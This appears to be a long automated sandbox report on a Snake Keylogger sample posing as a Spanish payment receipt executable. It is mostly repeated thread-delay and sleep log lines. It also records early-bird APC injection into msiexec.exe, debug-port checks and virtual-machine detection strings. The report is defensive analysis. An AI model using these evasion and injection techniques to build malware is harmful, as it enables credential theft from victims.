Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596603	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595621	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594640	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6288			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3475			Jump to behavior

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsj887A.tmp\nsExec.dll

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8144	Thread sleep count: 1172 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8144	Thread sleep count: 8681 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -597593s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -597375s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -597047s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -596718s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -596603s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -596500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -596390s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -596171s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -595953s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -595843s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -595621s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -595515s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -595296s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -594968s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -594750s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8140	Thread sleep time: -594640s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Code function: 0_2_00405C13 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C13
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Code function: 0_2_0040683D FindFirstFileW,FindClose,	0_2_0040683D
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	Code function: 0_2_0040290B FindFirstFileW,	0_2_0040290B

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596603	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595621	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594640	Jump to behavior

Source: powershell.exe, 00000001.00000002.2053769821.0000000005180000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter@\^q
Source: powershell.exe, 00000001.00000002.2053769821.0000000005180000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter@\^q
Source: msiexec.exe, 00000006.00000002.2924097464.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWW
Source: ModuleAnalysisCache.1.dr	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: msiexec.exe, 00000006.00000002.2936459320.0000000021C07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^qEmultipart/form-data; boundary=------------------------8dd1f89892680e0<
Source: Justificante pago-09453256434687.exe, 00000000.00000002.1740887264.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: ModuleAnalysisCache.1.dr	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: msiexec.exe, 00000006.00000002.2936459320.0000000021BF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^qEmultipart/form-data; boundary=------------------------8dd1f5b7140c899<
Source: msiexec.exe, 00000006.00000002.2924097464.0000000005F27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msiexec.exe, 00000006.00000002.2924097464.0000000005ECA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: powershell.exe, 00000001.00000002.2053769821.0000000005180000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter@\^q
Source: ModuleAnalysisCache.1.dr	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	API call chain: ExitProcess graph end node			graph_0-3802
Source: C:\Users\user\Desktop\Justificante pago-09453256434687.exe	API call chain: ExitProcess graph end node			graph_0-3806

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\msiexec.exe

Process queried: DebugPort

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 1_2_009FF520 LdrInitializeThunk,LdrInitializeThunk,

1_2_009FF520

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 42E0000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"

Yara detected Snake Keylogger

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
